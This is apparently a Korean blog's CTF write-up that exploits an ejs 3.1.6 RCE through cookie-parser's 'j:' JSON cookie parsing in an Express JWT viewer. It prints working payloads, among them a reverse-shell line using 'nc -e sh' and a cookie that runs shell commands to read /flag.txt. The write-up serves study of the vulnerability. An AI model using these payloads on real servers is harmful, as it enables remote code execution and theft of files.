티스토리 뷰
문제를 처음 들어가보면 위와 같이 JWT 토큰을 입력폼에 입력하구서 Apply 버튼을 누르면 delimiter 를 기준으로 base64 디코딩 후 JSON.stringify 해서 보여주는 기능을 가지고 있습니다. Signareture는 그냥 그대로 출력합니다.
주어진 코드를 보면 아래와 같습니다.
const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const app = express();
const PORT = 3000;
app.use(cookieParser());
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
let rawJwt = req.cookies.jwt || {};
try {
let jwtPart = rawJwt.split('.');
let jwtHeader = jwtPart[0];
jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
jwtHeader = JSON.parse(jwtHeader);
jwtHeader = JSON.stringify(jwtHeader, null, 4);
rawJwt = {
header: jwtHeader
}
let jwtBody = jwtPart[1];
jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
jwtBody = JSON.parse(jwtBody);
jwtBody = JSON.stringify(jwtBody, null, 4);
rawJwt.body = jwtBody;
let jwtSignature = jwtPart[2];
rawJwt.signature = jwtSignature;
} catch(error) {
if (typeof rawJwt === 'object') {
console.log(rawJwt);
rawJwt.error = error;
} else {
rawJwt = {
error: error
};
}
}
res.render('index', rawJwt);
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something wrong!');
});
app.listen(PORT, (err) => {
console.log(`Server is Running on Port ${PORT}`);
});
코드 자체는 무척이나 간단하기 그지 없습니다. 다만 특이하게 볼 점으로는 package-lock.json 파일이 있었다는 점과, 그 중에서 ejs 버전이 3.1.6 버전으로 고정되어 있었다는 점입니다.
"ejs": {
"version": "3.1.6",
"resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.6.tgz",
"integrity": "sha512-9lt9Zse4hPucPkoP7FHDF0LQAlGyF9JVpnClFLFH3aSSbxmyoqINRpp/9wePWJTUl4KOQwRL72Iw3InHPDkoGw==",
"requires": {
"jake": "^10.6.1"
}
},
그리고 하필이면 또 ejs 3.1.6 버전에는 RCE 취약점이 존재했습니다.
https://security.snyk.io/vuln/SNYK-JS-EJS-2803307
문제는 딱봐도 이 취약점을 이용해서 풀라는 것 같았습니다.
그리고 떡하니 PoC 코드도 존재했습니다. 원리를 간단하게 말하자면 아래 지점에서 간단하게 문자열 연산으로 사용자 입력값이 임의 함수 호출에 사용되는 코드로써 삽입되어지는 것으로 취약점이 발생합니다.
https://github.com/mde/ejs/blob/main/lib/ejs.js#L595
결국 위 PoC와 같이 입력하게 되면 실제로 아래와 같이 코드가 삽입되는 결과를 가져다 줍니다.
prepended += ' var x;process.mainModule.require(\'child_process\').execSync(\'nc -e sh 127.0.0.1 1337\');// 뒤에 오는 코드들은 다 주석처리됨'
이렇게 위와 같이 임의의 명령어를 삽입하기 위해서는 settings 키값의 view options 키값의 outputFunctionName 키의 값으로 코드가 들어가야 하기 때문에 object 타입으로 받아야 했습니다.
하지만 req.cookies.jwt 로 들어오는 사용자 입력이 문자열이 아닌 object 타입이 될 수 있는 방법이 있을까 의문이었습니다. 그러다가 catch 구문을 보게되었습니다.
} catch(error) {
if (typeof rawJwt === 'object') {
console.log(rawJwt);
rawJwt.error = error;
} else {
rawJwt = {
error: error
};
}
}
catch 구문의 if 조건문을 보면 rawJwt 값이 object 가 될 수 있다고 설명하는 듯 보였습니다. 그래서 정확히 사용자 입력을 서버에 주어지면 이를 파싱해서 req.cookies 객체에 추가해주는 역할을 해주는 모듈인 cookie-parser 를 분석해볼 필요가 있었습니다.
문제에서는 cookie-parser 1.4.6 버전을 사용하고 있었습니다.
"cookie-parser": {
"version": "1.4.6",
"resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.4.6.tgz",
"integrity": "sha512-z3IzaNjdwUC2olLIB5/ITd0/setiaFMLYiZJle7xg5Fe9KWAceil7xszYfHHBtDFYLSgJduS2Ty0P1uJdPDJeA==",
"requires": {
"cookie": "0.4.1",
"cookie-signature": "1.0.6"
},
찾아보니 최신버전인 것 같았습니다. 그리고 바로 JSON 파싱 부분을 볼 수 있었는데요.
https://github.com/expressjs/cookie-parser/blob/1.4.6/index.js#L84
해당 부분을 보니 j 라는 key 값으로 object 형태의 값을 주게 되면 object 타입으로 반환해준다는 것 같습니다.
/**
* Parse JSON cookie string.
*
* @param {String} str
* @return {Object} Parsed object or undefined if not json cookie
* @public
*/
function JSONCookie (str) {
if (typeof str !== 'string' || str.substr(0, 2) !== 'j:') {
return undefined
}
try {
return JSON.parse(str.slice(2))
} catch (err) {
return undefined
}
}
그래서 위에서 요구하는 조건을 만족한 상태에서 RCE 페이로드를 다시 작성하게 되면 최종적으로는 아래와 같습니다.
j:{"settings":{"view options":{"outputFunctionName": "x;__output =process.mainModule.require('child_process').execSync('ls -al / && cat /flag.txt').toString();x"}}};
실행한 명령어들을 화면에 출력해주기 위해서 __ouptput 변수에 넣어주게 해서 전송하면 아래와 같이 나옵니다.
cookie-parser 에서 j key를 주면 JSON object로 인식한다는 점이 정말 신기했던 문제였습니다.
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[SekaiCTF] [Web] Bottle Poem (0) | 2022.10.04 |
---|---|
[MapleCTF2022] [WEB] honksay Writeup(문제풀이) (0) | 2022.08.31 |
[SSTF] [Web] Imageium Writeup(문제풀이) (0) | 2022.08.26 |
[corCTF2022] - [Forensics] whack-a-frog Writeup(문제풀이) (0) | 2022.08.14 |
[corCTF2022] - [Web] jsonquiz Writeup(문제풀이) (0) | 2022.08.13 |